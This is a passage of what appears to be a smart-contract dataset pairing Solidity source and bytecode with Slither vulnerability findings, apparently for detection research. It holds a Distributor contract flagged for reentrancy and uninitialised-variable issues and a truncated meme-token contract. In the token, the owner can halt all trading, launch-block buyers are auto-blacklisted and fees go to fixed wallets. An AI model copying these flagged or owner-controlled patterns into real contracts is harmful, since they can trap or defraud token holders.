address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0xACB74cA7Cc87BadEE681e0C40A3801a03740e98d
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) { return div( mul( total_, percentage_ ), 1000 ); } function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) { return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) ); } function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) { return div( mul(part_, 100) , total_ ); } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) { return sqrrt( mul( multiplier_, payment_ ) ); } function barterPriceCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) { return mul( multiplier_, supply_ ); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } interface IPolicy { function policy() external view returns (address); function renouncePolicy() external; function pushPolicy( address newPolicy_ ) external; function pullPolicy() external; } contract Policy is IPolicy { address internal _policy; address internal _newPolicy; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _policy = msg.sender; emit OwnershipTransferred( address(0), _policy ); } function policy() public view override returns (address) { return _policy; } modifier onlyPolicy() { require( _policy == msg.sender, "Ownable: caller is not the owner" ); _; } function renouncePolicy() public virtual override onlyPolicy() { emit OwnershipTransferred( _policy, address(0) ); _policy = address(0); } function pushPolicy( address newPolicy_ ) public virtual override onlyPolicy() { require( newPolicy_ != address(0), "Ownable: new owner is the zero address"); _newPolicy = newPolicy_; } function pullPolicy() public virtual override { require( msg.sender == _newPolicy ); emit OwnershipTransferred( _policy, _newPolicy ); _policy = _newPolicy; } } interface ITreasury { function mintRewards( address _recipient, uint _amount ) external; } contract Distributor is Policy { using SafeMath for uint; using SafeERC20 for IERC20; /* ====== VARIABLES ====== */ address public immutable USV; address public immutable treasury; uint public immutable epochLength; uint public nextEpochBlock; mapping( uint => Adjust ) public adjustments; /* ====== STRUCTS ====== */ struct Info { uint rate; // in ten-thousandths ( 5000 = 0.5% ) address recipient; } Info[] public info; struct Adjust { bool add; uint rate; uint target; } /* ====== CONSTRUCTOR ====== */ constructor( address _treasury, address _usv, uint _epochLength, uint _nextEpochBlock ) { require( _treasury != address(0) ); treasury = _treasury; require( _usv != address(0) ); USV = _usv; epochLength = _epochLength; nextEpochBlock = _nextEpochBlock; } /* ====== PUBLIC FUNCTIONS ====== */ /** @notice send epoch reward to staking contract */ function distribute() external returns ( bool ) { if ( nextEpochBlock <= block.number ) { nextEpochBlock = nextEpochBlock.add( epochLength ); // set next epoch block // distribute rewards to each recipient for ( uint i = 0; i < info.length; i++ ) { if ( info[ i ].rate > 0 ) { ITreasury( treasury ).mintRewards( // mint and send from treasury info[ i ].recipient, nextRewardAt( info[ i ].rate ) ); adjust( i ); // check for adjustment } } return true; } else { return false; } } /* ====== INTERNAL FUNCTIONS ====== */ /** @notice increment reward rate for collector */ function adjust( uint _index ) internal { Adjust memory adjustment = adjustments[ _index ]; if ( adjustment.rate != 0 ) { if ( adjustment.add ) { // if rate should increase info[ _index ].rate = info[ _index ].rate.add( adjustment.rate ); // raise rate if ( info[ _index ].rate >= adjustment.target ) { // if target met adjustments[ _index ].rate = 0; // turn off adjustment } } else { // if rate should decrease info[ _index ].rate = info[ _index ].rate.sub( adjustment.rate ); // lower rate if ( info[ _index ].rate <= adjustment.target ) { // if target met adjustments[ _index ].rate = 0; // turn off adjustment } } } } /* ====== VIEW FUNCTIONS ====== */ /** @notice view function for next reward at given rate @param _rate uint @return uint */ function nextRewardAt( uint _rate ) public view returns ( uint ) { return IERC20( USV ).totalSupply().mul( _rate ).div( 1000000 ); } /** @notice view function for next reward for specified address @param _recipient address @return uint */ function nextRewardFor( address _recipient ) public view returns ( uint ) { uint reward; for ( uint i = 0; i < info.length; i++ ) { if ( info[ i ].recipient == _recipient ) { reward = nextRewardAt( info[ i ].rate ); } } return reward; } /* ====== POLICY FUNCTIONS ====== */ /** @notice adds recipient for distributions @param _recipient address @param _rewardRate uint */ function addRecipient( address _recipient, uint _rewardRate ) external onlyPolicy() { require( _recipient != address(0) ); info.push( Info({ recipient: _recipient, rate: _rewardRate })); } /** @notice removes recipient for distributions @param _index uint @param _recipient address */ function removeRecipient( uint _index, address _recipient ) external onlyPolicy() { require( _recipient == info[ _index ].recipient ); info[ _index ].recipient = address(0); info[ _index ].rate = 0; } /** @notice set adjustment info for a collector's reward rate @param _index uint @param _add bool @param _rate uint @param _target uint */ function setAdjustment( uint _index, bool _add, uint _rate, uint _target ) external onlyPolicy() { adjustments[ _index ] = Adjust({ add: _add, rate: _rate, target: _target }); } }
0x608060405234801561001057600080fd5b50600436106100ff5760003560e01c8063a15ad07711610097578063e222ad7811610066578063e222ad7814610399578063e4fc6b6d146103cd578063f7982243146103ed578063fe3fbbad1461043b576100ff565b8063a15ad077146102b7578063a4b23980146102fb578063bc3b2b1214610305578063c9fa8b2a14610357576100ff565b806357d775f8116100d357806357d775f81461020d5780635beede081461022b5780635db854b01461023557806361d027b314610283576100ff565b8062640c2e146101045780630505c8c9146101225780632e3405991461015657806336d33f44146101b5575b600080fd5b61010c610489565b6040518082815260200191505060405180910390f35b61012a61048f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101826004803603602081101561016c57600080fd5b81019080803590602001909291905050506104b8565b604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b6101f7600480360360208110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061050c565b6040518082815260200191505060405180910390f35b6102156105d2565b6040518082815260200191505060405180910390f35b6102336105f6565b005b6102816004803603608081101561024b57600080fd5b81019080803590602001909291908035151590602001909291908035906020019092919080359060200190929190505050610750565b005b61028b61087e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f9600480360360208110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108a2565b005b610303610a2d565b005b6103316004803603602081101561031b57600080fd5b8101908080359060200190929190505050610bac565b604051808415158152602001838152602001828152602001935050505060405180910390f35b6103836004803603602081101561036d57600080fd5b8101908080359060200190929190505050610be3565b6040518082815260200191505060405180910390f35b6103a1610cb4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103d5610cd8565b60405180821515815260200191505060405180910390f35b6104396004803603604081101561040357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e8b565b005b6104876004803603604081101561045157600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611033565b005b60025481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600481815481106104c857600080fd5b90600052602060002090600202016000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b60008060005b6004805490508110156105c8578373ffffffffffffffffffffffffffffffffffffffff166004828154811061054357fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156105bb576105b8600482815481106105a157fe5b906000526020600020906002020160000154610be3565b91505b8080600101915050610512565b5080915050919050565b7f000000000000000000000000000000000000000000000000000000000000086281565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461065057600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610811576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60405180606001604052808415158152602001838152602001828152506003600086815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505050505050565b7f0000000000000000000000008739f0eef3163c3db7b994d0e301bc375d757af681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610963576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156109e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116ee6026913960400191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60036020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b6000610cad620f4240610c9f847f00000000000000000000000088536c9b2c4701b8db824e6a16829d5b5eb8444073ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c5657600080fd5b505afa158015610c6a573d6000803e3d6000fd5b505050506040513d6020811015610c8057600080fd5b81019080805190602001909291905050506111f090919063ffffffff16565b61127690919063ffffffff16565b9050919050565b7f00000000000000000000000088536c9b2c4701b8db824e6a16829d5b5eb8444081565b60004360025411610e8357610d187f00000000000000000000000000000000000000000000000000000000000008626002546112c090919063ffffffff16565b60028190555060005b600480549050811015610e7957600060048281548110610d3d57fe5b9060005260206000209060020201600001541115610e6c577f0000000000000000000000008739f0eef3163c3db7b994d0e301bc375d757af673ffffffffffffffffffffffffffffffffffffffff16636a20de9260048381548110610d9e57fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610df760048581548110610de057fe5b906000526020600020906002020160000154610be3565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610e4a57600080fd5b505af1158015610e5e573d6000803e3d6000fd5b50505050610e6b81611348565b5b8080600101915050610d21565b5060019050610e88565b600090505b90565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f8657600080fd5b600460405180604001604052808381526020018473ffffffffffffffffffffffffffffffffffffffff1681525090806001815401808255809150506001900390600052602060002090600202016000909190919091506000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6004828154811061110157fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461116a57600080fd5b60006004838154811061117957fe5b906000526020600020906002020160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600483815481106111d757fe5b9060005260206000209060020201600001819055505050565b6000808314156112035760009050611270565b600082840290508284828161121457fe5b041461126b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117146021913960400191505060405180910390fd5b809150505b92915050565b60006112b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114fa565b905092915050565b60008082840190508381101561133e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6113506116ca565b600360008381526020019081526020016000206040518060600160405290816000820160009054906101000a900460ff1615151515815260200160018201548152602001600282015481525050905060008160200151146114f657806000015115611457576113ea8160200151600484815481106113ca57fe5b9060005260206000209060020201600001546112c090919063ffffffff16565b600483815481106113f757fe5b90600052602060002090600202016000018190555080604001516004838154811061141e57fe5b9060005260206000209060020201600001541061145257600060036000848152602001908152602001600020600101819055505b6114f5565b61148c81602001516004848154811061146c57fe5b9060005260206000209060020201600001546115c090919063ffffffff16565b6004838154811061149957fe5b9060005260206000209060020201600001819055508060400151600483815481106114c057fe5b906000526020600020906002020160000154116114f457600060036000848152602001908152602001600020600101819055505b5b5b5050565b600080831182906115a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561156b578082015181840152602081019050611550565b50505050905090810190601f1680156115985780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816115b257fe5b049050809150509392505050565b600061160283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061160a565b905092915050565b60008383111582906116b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561167c578082015181840152602081019050611661565b50505050905090810190601f1680156116a95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60405180606001604052806000151581526020016000815260200160008152509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220943f1cba69bf2a76616fad4713cd762ac0d23473368292c007e64eb1838a4a9d64736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
10,200
0xcc3170b03ccef4518ac295e09f7e8adf35abdd63
/** https://jankenman.com/ Total Supply 1,000,000,000,000 Max Wallet 2% 20,000,000,000 tax:10% buy/sell */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract JankenmanInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Jankenman Inu";// string private constant _symbol = "Jankenman";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 10;// //Sell Fee uint256 private _redisFeeOnSell = 4;// uint256 private _taxFeeOnSell = 6;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xbFcb2367BA86155AEa25195175fbFF85c0EB7cD9);// address payable private _marketingAddress = payable(0xD4e7E220cf3B6D596ca93729CFb2dB81C7b6159B);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; // uint256 public _maxWalletSize = 20000000000 * 10**9; // uint256 public _swapTokensAtAmount = 10000000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); 